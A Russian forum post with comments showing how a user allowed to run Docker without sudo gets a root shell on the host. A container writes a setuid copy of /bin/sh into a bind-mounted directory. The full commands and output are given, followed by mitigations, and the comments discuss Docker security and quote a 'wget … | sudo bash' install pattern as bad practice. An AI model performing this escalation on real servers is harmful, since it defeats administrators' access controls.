Получаем рутовый шелл через докер

На самом деле это не дыра в безопасности. Т.е. это заложено в архитектуре.


И так. Например, ты разработчик, которому админ(чтобы ты отстал), разрешил на каком-то серваке пускать контейнеры docker. Т.е. ты можешь делать docker run/pull/push без sudo. Ок.


Пулим образ:

$ docker pull monsantoco/min-jessie

Using default tag: latest

latest: Pulling from monsantoco/min-jessie

a3ed95caeb02: Pull complete

d9f5175a7629: Pull complete

Digest: sha256:d8b651e894b8b66def8aaa268b5e8ec2c4f9480e3f2b7b2ec664203e610d6d96

Status: Downloaded newer image for monsantoco/min-jessie:latest

И пускаем:

$ mkdir /var/tmp/sh

$ docker run -d -v /var/tmp/sh:/stuff -t monsantoco/min-jessie /bin/sh -c 'cp /bin/sh /stuff && chown root:root /stuff/sh && chmod 777 /stuff/sh && chmod ao+s /stuff/sh && while true; do echo OK; sleep 5; done'

$ ls /var/tmp/sh/ -l

итого 124

-rwsrwsrwx 1 root root 125400 июн 7 11:02 sh

$ /var/tmp/sh/sh

# whoami

root

#

Вот так мы получили суидный шелл за пределами контейнера.


Как решить?

* Запереть юзера в хомяке с noexec,nosuid

* Все tmp каталоги монтировать в память и с noexec,nosuid

* Настроить selinux


ЗЫ:

$ docker --version

Docker version 1.10.3, build 20f81dd

$ lsb_release -a

No LSB modules are available.

Distributor ID: Ubuntu

Description: Ubuntu 16.04 LTS

Release: 16.04

Codename: xenial

1
Автор поста оценил этот комментарий

Я знал, что docker дичь. Кстати с lxc можно тоже самое повторить? или там по секурней?

раскрыть ветку (1)
1
Автор поста оценил этот комментарий

В чистом lxc не получится так. Не знаю как дела с lxcd обстоят, не щупал еще.


Но докер не дичь :), когда тебе надо задеплоить сотню серваков без простоя(следи за обновлением GNU/Linux, я туда статейку закину). Просто надо комплексно подходить к безопасности.


А вообще тенденция сейчас во всем такая наплевательская, типа: wget -O - http://example.com/install | sudo bash

показать ответы
Автор поста оценил этот комментарий

На мой взгляд, у не привилегированного пользователя вообще не должно быть доступа к шелу на сервере, это избавляет от кучи проблем включая эту.

Меня как devops очень радует, что сам доке может бежать где угодно, например на старой центоси, а в контейнере удобная мне среда.

раскрыть ветку (1)
Автор поста оценил этот комментарий
Разраб обычно и не имеет доступа но боевые сервера. И у него все сводится к гит тег -> ci build -> testing -> прод.

Но мы живем в не идеальном мире, так что возможно все.
Автор поста оценил этот комментарий

Хм, не давать пользователю запускать докер, по сути мы даем пользователю выполнить команду на уровне сервиса.

раскрыть ветку (1)
Автор поста оценил этот комментарий
Именно так. По-этому в начале и упоминается ленивый админ.
Автор поста оценил этот комментарий

вопрос, а зачем это вообще в архитектуре заложено?

раскрыть ветку (1)
Автор поста оценил этот комментарий

Создание неймспейсов, цгрупп, управление iptables - для всего этого нужны права суперпользователя - root. Т.е. когда ты делаешь docker run от пользователя, ты все-равно все делаешь от рута. Это же давно было известно - есть рутовые права в контейнере(или chroot, и.т.п), есть и на хосте.


Но с докером по-умолчанию проще, да. Особенно весело будет, если у разраба уведут ключик приватный :)

показать ответы
Автор поста оценил этот комментарий

Не знаю. Меня очень смущает использование докера. Я года два назад попытался его использовать, там все ответы  на мои вопрос были такие:

Как он работает?  А вот так просто берешь и запускаешь  docker run -d


Так же как под винду, а как оно работает? ну просто заходишь в службы и запускаешь службу

Никак оно работает, ни откуда и куда идет запись считывание конфигов.

Вроде внешне просто, НО нет той простоты, которая записывается  в подкорку и позволяет действовать интуитивно. Задача была сделать как раз контейнеры, одно приложение, один контейнер. Было два руби он рейлс приложения и соответственно две базы данных, хотелось 4 контейнера, два под приложения, и два под отдельный пострегесс приложение базу. Для того чтобы можно было влюбой момент разъехатся. Но  нет, докер оказался не для баз данных, и хранить бд в контейнере это моветон, плюс нарыл инфу, что из контейнера можно легко выйти и стать локальным рутом, я решил забить на это.

Чуствовал себя как вопрошающий в этой статье
https://habrahabr.ru/post/276539/

— Ты что! Нет. Это уже старая школа. Heroku — труп. Никто этим больше не пользуется. Теперь тебе нужно познать Docker. Это будущее!

Ах вот как. Ну ок. А что это?

— Docker — новый способ контейнеризации. Это как LXC, только еще включает формат запаковки контейнеров, а еще это распределительная платформа и ряд утилит, чтобы сделать построение распределенной системы реально простым делом.

Консерверезация?.. — что за? А что за LXE?

— LXC. Это как chroot на стероидах.

Что за cher-oot?

— Ясно… Смотри… Docker… Контейнеризация… Это будущее… Это как виртуализация, только быстрее и дешевле.

Окей, типа как Vagrant.

— Не, Vagrant — труп. Теперь все готовится к использованию внутри контейнеров, Это Будущее!

раскрыть ветку (1)
Автор поста оценил этот комментарий
Ну, у нас(админов), есть понимание, как оно работает внутри + образы у нас свои под конкретные приложения. Базы тоже можно запихнуть в докер, прокинув туда, например, RBD из ceph. Но мы не только докеры используем, у нас тут и свои deb-репы, и автонастройка этого всего + оркестрация.


Докер в чем-то облегчает жизнь, а в чем-то наоборот.


ЗЫ: Vagrant реальная срань.